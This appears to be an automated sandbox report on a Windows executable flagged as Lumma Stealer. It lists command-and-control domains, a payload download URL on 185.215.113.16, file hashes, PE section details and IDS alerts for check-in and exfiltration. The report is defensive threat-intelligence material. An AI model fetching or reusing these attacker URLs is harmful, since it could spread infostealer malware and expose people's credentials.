thumbystriw.store	unknown	unknown	true	unknown
crisiwarny.store	unknown	unknown	true	unknown
fadehairucw.store	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://necklacedmny.store/api	true	unknown
presticitpo.store	true	unknown
scriptyprefej.store	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
navygenerayk.store	true	unknown
founpiuer.store	true	unknown
thumbystriw.store	true	unknown
crisiwarny.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/x	file.exe, 00000000.00000003.2222022245.0000000005414000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222204498.0000000005415000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2221855615.0000000005412000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exeX	file.exe, 00000000.00000003.2359748216.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000003.2223544542.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2223544542.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store:443/apix	file.exe, 00000000.00000003.2266271086.0000000000C19000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2288118028.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2263527453.0000000000C19000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000003.2223544542.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/r	file.exe, 00000000.00000003.2263441544.000000000541F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2287931202.000000000541F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2266340930.000000000541C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2265942505.000000000541B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2223235792.000000000581F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000003.2223544542.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/	file.exe, 00000000.00000002.2366391425.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/X	file.exe, 00000000.00000003.2222022245.0000000005414000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2222204498.0000000005415000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2221855615.0000000005412000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/	file.exe, 00000000.00000003.2237094090.0000000005420000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/apiG4	file.exe, 00000000.00000003.2288027243.0000000000C07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2359578184.0000000000C05000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365962583.0000000000C07000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/fg	file.exe, 00000000.00000003.2359655278.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2366391425.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apiI4	file.exe, 00000000.00000003.2288027243.0000000000C07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2359578184.0000000000C05000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365962583.0000000000C07000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Pg	file.exe, 00000000.00000003.2359655278.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2366391425.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16//	file.exe, 00000000.00000003.2359655278.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2366391425.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.2365808568.000000000096A000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.2359655278.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2366391425.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365962583.0000000000B9F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2223235792.000000000581F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/R	file.exe, 00000000.00000003.2359445022.000000000541F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2369280605.000000000541F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.mozilla.or	file.exe, 00000000.00000003.2223499969.000000000544D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exee	file.exe, 00000000.00000003.2359655278.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2366391425.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store:443/api	file.exe	false		unknown
http://185.215.113.16/off/def.exeik1	file.exe, 00000000.00000003.2359655278.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2366391425.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	necklacedmny.store	European Union		13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543871
Start date and time:	2024-10-28 15:27:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@5/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 6776 because there are no executed function
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
10:28:04	API Interceptor	9x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/jI82Ms6K/download
	9D7RwuJrth.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	304773cm.n9shteam.in/jscpuGamegeneratorprivate.php
	DBUfLVzZhf.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	R5AREmpD4S.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	7950COPY.exe	Get hash	malicious	FormBook	Browse	www.globaltrend.xyz/b2h2/
	transferencia interbancaria_667553466579.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/Gitmx
	19387759999PO-RFQ-INVOICE-doc.exe	Get hash	malicious	FormBook	Browse	www.zonguldakescortg.xyz/483l/
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.rtpngk.xyz/876i/
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.fnsds.org/
	rPedidodecompra__PO20441__ARIMComponentes.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse	dddotx.shop/Mine/PWS/fre.php
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
necklacedmny.store	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://duy38.r.ag.d.sendibm3.com/mk/cl/f/sh/1t6Af4OiGsF30wT9TF4ckLf3fAzx5z/28D7HenRXzOU	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	EwKKdCrEDu.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	EwKKdCrEDu.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	Salary_Structure_Benefits_for_I.e.van.groenesteinIyNURVhUTlVNUkFORE9NMTkjIw==.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Salary_Structure_Benefits_for_SridenourIyNURVhUTlVNUkFORE9NMTkjIw==.html	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	come.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	INVOICE.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s553e3fe901654d86bcc4ed44c7c05dd3&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0V1a19QbFZsQVlaTnZNVHRSTWZBWGRNQmtvbDQ2b1NlN1o5MGFiazNzS3lGSlE_ZT1UMnQ4S3Y&wd=target%28Sezione%20senza%20titolo.one%7C8d7e5173-6006-4648-a69d-e39e66e7041a%2FAblehnung%20Rechnung%20R15946098273-KU30_WE02%20Vom%2028%5C%2F%7Cd77916b9-b471-429a-a13e-74764563e56b%2F%29&wdorigin=NavigationUrl	Get hash	malicious	HTMLPhisher	Browse	104.21.79.135
	Okfjk1hs4kdhs2.exe	Get hash	malicious	LummaC	Browse	104.21.9.13
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	Bjl3geiFEK.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Okfjk1hs4kdhs2.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	NetCDF4Excel_3_3_setup.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	S6DgRF1SSD.xlsx	Get hash	malicious	Unknown	Browse	188.114.96.3

Process:	C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2801664
Entropy (8bit):	6.450602976562319
Encrypted:	false
SSDEEP:	49152:8/8FBnk9gLX+RmgVqgkqDa8kovr6PRW4dlY:8/4Bk9+Oggg6Bvr65Tl
MD5:	014B179EC5B40CDC9662F45797F848C2
SHA1:	AD4DD09F34A37C52E12057BD71E88EBC98B52DEE
SHA-256:	73D17A932FF2378AD39E66B16A31F83D8C8378056654AFFBB9915191380875E4
SHA-512:	294815E447BBDD5458918D6801458E12D8D2B64363925218F098F951475A17271BEBE2ADA9A159D73EA0D814F5D8D610777B566D87029A5391F04805022199AD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+.....pp+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...quailsgy.`......`..:..............@...yrbqemzo. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.594239001770432
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'956'800 bytes
MD5:	f8cb2d8c03288d1ad24ea75554cc1841
SHA1:	8d0fcde8d19fb41addab5a4efd8504c671c17f52
SHA256:	6ecffa523dd0f47994bde41a4b27a1074a5b99b3028bd6b7fdc7a773b5fd610d
SHA512:	bd814b86ca4a76318e17da5c2471585f63b0de7610b4a034c3ffa585998712dc8d4f7e018bcda2a59c437e689816c1e350af26fbf0306fe88d30879a8755023a
SSDEEP:	49152:YMtfHZvZngU+tmbyfdsUUypcnXgNg6zLqaxasVEoitoGmeJ:blHZvZng3tmbyfdsEpcwNSaxlLij
TLSH:	6ED53BA2A58E75CFD48A1B7C9567CD825A7D03F9073448C3AC5A6CBE6D73CC212B9C24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........00...........@..........................`0.....,.-...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x703000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE4A918E7FAh
paddb mm5, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FE4A91907F5h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], cl
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	c9f13db4a76e8dc9a3a8c852ac64deb1	False	0.9979489126175548	data	7.970173432663567	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jpmedhyu	0x5b000	0x2a7000	0x2a6800	b37e433fe436c3a2c0f13bf26178f252	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bzdbwpfq	0x302000	0x1000	0x400	b1dd64d2abd7d590729fdf2cb47f4432	False	0.7509765625	data	5.959965358471786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x303000	0x3000	0x2200	86d3501f4370f15d1c44e6fc010386dc	False	0.06916360294117647	DOS executable (COM)	0.7465762860544304	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T15:28:06.372429+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49710	188.114.96.3	443	TCP
2024-10-28T15:28:06.372429+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49710	188.114.96.3	443	TCP
2024-10-28T15:28:07.508802+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49711	188.114.96.3	443	TCP
2024-10-28T15:28:07.508802+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49711	188.114.96.3	443	TCP
2024-10-28T15:28:10.227433+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49714	188.114.96.3	443	TCP
2024-10-28T15:28:18.077689+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49758	188.114.96.3	443	TCP
2024-10-28T15:28:19.202676+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49764	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

